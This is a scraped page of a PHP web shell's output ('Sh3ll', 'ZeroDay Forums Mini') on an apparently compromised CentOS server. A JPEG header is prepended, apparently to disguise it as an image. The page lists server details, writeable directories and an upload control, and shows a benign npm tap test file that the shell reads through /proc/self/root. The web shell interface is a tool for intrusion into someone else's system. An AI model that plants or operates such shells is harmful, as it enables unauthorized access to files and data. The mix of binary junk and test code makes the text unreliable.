����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/install-package-json-order.js
var test = require('tap').test
var path = require('path')
var rimraf = require('rimraf')
var mkdirp = require('mkdirp')
var spawn = require('child_process').spawn
var npm = require.resolve('../../bin/npm-cli.js')
var node = process.execPath
const common = require('../common-tap.js')
var pkg = common.pkg
var workdir = path.join(pkg, 'workdir')
var tmp = path.join(pkg, 'tmp')
var cache = common.cache
var fs = require('fs')
var osenv = require('osenv')

test('package.json sorting after install', function (t) {
  var packageJson = path.resolve(pkg, 'package.json')
  var installedPackage = path.resolve(workdir,
    'node_modules/install-package-json-order/package.json')

  cleanup()
  mkdirp.sync(cache)
  mkdirp.sync(tmp)
  mkdirp.sync(workdir)
  setup()

  var before = JSON.parse(fs.readFileSync(packageJson).toString())
  var child = spawn(node, [npm, 'install', pkg], { cwd: workdir })

  child.on('close', function (code) {
    t.equal(code, 0, 'npm install exited with code')
    var result = fs.readFileSync(installedPackage, 'utf8')
    var resultAsJson = JSON.parse(result)
    t.same(resultAsJson.array, before.array)
    t.end()
  })
})

test('cleanup', function (t) {
  cleanup()
  t.pass('cleaned up')
  t.end()
})

function setup () {
  mkdirp.sync(pkg)

  fs.writeFileSync(path.resolve(pkg, 'package.json'), JSON.stringify({
    'name': 'install-package-json-order',
    'version': '0.0.0',
    'array': [ 'one', 'two', 'three' ]
  }, null, 2), 'utf8')
  fs.writeFileSync(path.resolve(workdir, 'package.json'), JSON.stringify({
    'name': 'install-package-json-order-work',
    'version': '0.0.0'
  }, null, 2), 'utf8')
}

function cleanup () {
  process.chdir(osenv.tmpdir())
  rimraf.sync(cache)
  rimraf.sync(pkg)
}

ZeroDay Forums Mini